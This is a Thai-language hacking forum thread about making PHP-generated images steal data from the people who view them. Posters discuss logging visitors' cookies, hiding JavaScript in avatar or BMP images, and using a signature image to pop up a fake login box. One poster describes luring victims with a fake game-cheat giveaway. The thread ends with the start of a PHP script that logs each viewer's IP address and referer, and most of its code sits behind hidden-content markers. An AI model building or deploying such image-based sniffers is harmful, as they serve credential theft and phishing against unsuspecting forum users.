picture sniff by php ใช้ php สร้างรุปขโมยข้อมูล

[postmunnet]

การใช้ html & php & picture เพื่อให้ได้ในข้อมูลที่ต้องการ

เป็นการประยุคใช้นะครับ หลายท่านอาจจะยังไม่ทราบ

[hide=50]ก่อนอื่นเรามาลองดูสคริปตัวนี้กันก่อน อันนี้คือ info.php

[code]<?php
//###############################################################

[tonynuc]

nice one, แต่ลองแล้วไม่เห็นได้เลยอ่ะ

น่าจะ log cookie ของ user ด้วยดิ:

$ck = $_COOKIE;

ลองมาพัฒนาต่อเพื่อซ่อน javascript ใน avatar image ดิ

[pspn.n]

ผมเคยลองแทรก javascript แล้วปรากฏว่าไม่ได้ มีปัญหาตอนแปลงเป็น jpg ครับ

[postmunnet]

ตอนนี้ผมก็กำลังคิดวิธีดักคุ๊กกี้อยู่ครับ ยังติดปัญหาด้านนี้อยู่เราสามารถใส่ javascript ลงไปได้แต่ต้องไม่ใช้ฟังชั่นสร้างรูปครับ
ถ้าเราไม่ใช้ฟังชั่นสร้างรุปมันก้จะเป็นหน้า web เปล่าๆ
ถ้าใช้ฟังชั่นสร้างรูปจะเกิด error ซึ่งถ้าให้เข้าทางลิ้งตรงเช่น

www.urweb.com/test.jpg javascript จะทำงานได้ แต่ถ้านำไปใส่เป็น ลายเซ็นใน webboard javascript จะไม่ทำงาน
ส่วนเรื่องอัพเป็น avatar ยังไม่ได้ลองครับ :)
ตอนนี้วิธีที่ใช้ได้อาจจะเป็นหลอกให้เป้าหมายดูรูปที่เราฝังสคริปไว้ครับ แค่กดดูก็โดนแล้ว

[tonynuc]

ลองใช้ BMP ดิ

http://p42.us/rs_bmp/rs.html

[postmunnet]

ไม่ทราบว่าคุณ tonynuc ทำยังไงอ่ะครับผมจะขอดู code ได้ไหม เพราะผมลองเขียนหลายๆแบบแล้วสคริปออกรูปไม่ออก รูปออสคริปไม่ออก หรือไม่ก็ error 2 อันเลย <_<

[snapter]

ไม่ทราบว่าคุณ tonynuc ทำยังไงอ่ะครับผมจะขอดู code ได้ไหม เพราะผมลองเขียนหลายๆแบบแล้วสคริปออกรูปไม่ออก รูปออสคริปไม่ออก หรือไม่ก็ error 2 อันเลย [/b]

This is what i did... http://www.bulle-immobiliere.net/test.html

To hide the script in the picture You can do like this
**Hidden Content: Check the thread to see hidden data.**

[petzaun]

พวกท่านจะใช้รูปในการดักพาสน่ะเหรอ ไม่ทราบว่าใช่แบบนี้ป่าวเพราะโพสไม่ถึง 50เลยดูไม่ได้

**Hidden Content: Check the thread to see hidden data.**

[postmunnet]

เอ่อ แล้วมันคืออะไรอ่ะครับ
ผมคิดว่าวิธีอาจจะไม่เหมือนกัน ช่วยอธิบายด้วยครับ ว่าทำไมจึงเป็นเช่นนี้
ทำไมหน้าต่างกรอกรหัสถึงเด้งขึ้นมาแล้วมันทำอะไรได้อีกและทำยังไง

[Gen0TypE]

ผมว่าวิธีแบบที่ท่าน เพชร บอกน่าจะเป็นการ set ที่ server ให้เด้ง popup ตอนเรียกไฟล์นี้
ซึ่งไม่เหมือนวิธีท่าน postmunnet ครับ

.
.
.
.
.

ว่าแต่ มี phishing hi5 ด้วยซะงั้น เหอๆ อันตรายจริงๆ

[tonhor]

เอ่อ แล้วมันคืออะไรอ่ะครับ
ผมคิดว่าวิธีอาจจะไม่เหมือนกัน ช่วยอธิบายด้วยครับ ว่าทำไมจึงเป็นเช่นนี้
ทำไมหน้าต่างกรอกรหัสถึงเด้งขึ้นมาแล้วมันทำอะไรได้อีกและทำยังไง
[/b]

ตาใหญ่ ผมมีวิธี&โค้ดมาฝาก

**Hidden Content: Check the thread to see hidden data.**

**Hidden Content: Check the thread to see hidden data.**

[petzaun]

เอ่อ แล้วมันคืออะไรอ่ะครับ
ผมคิดว่าวิธีอาจจะไม่เหมือนกัน ช่วยอธิบายด้วยครับ ว่าทำไมจึงเป็นเช่นนี้
ทำไมหน้าต่างกรอกรหัสถึงเด้งขึ้นมาแล้วมันทำอะไรได้อีกและทำยังไง
[/b]
มันเอาไว้ดักพาสเวิดตามเว็บอร์ดครับ

เช่นเราตั้งกระทู้ว่า แจกโปรโกงเกม...ต้องล้อกอินก่อนนะครับถึงจะเข้าได้

แค่นี้เราก็จะได้ยูสพาสฝ่ายตรงข้ามมาแล้วครับ :D

[postmunnet]

จากข้างบนของท่าน TonHor เอามาดัดแปลงอีกนิดหน่อย ให้มันดักพาสได้จริงๆไปเลย ผู้รู้คงเอาไปแปลงได้นะ
ต้องขอบคุณท่าน TonHor ด้วยครับที่นำมาช่วยให้กระจ่าง

[hide=50][code]<?php
header("Content-type: image/gif");
$ip = getenv (&#39;REMOTE_ADDR&#39;);
$datum=date("j F, Y, g:i a");;
$referer = $_SERVER[&#39;HTTP_REFERER&#39;];
$image = imagecreatefromgif(&#39;smile.gif&#39;);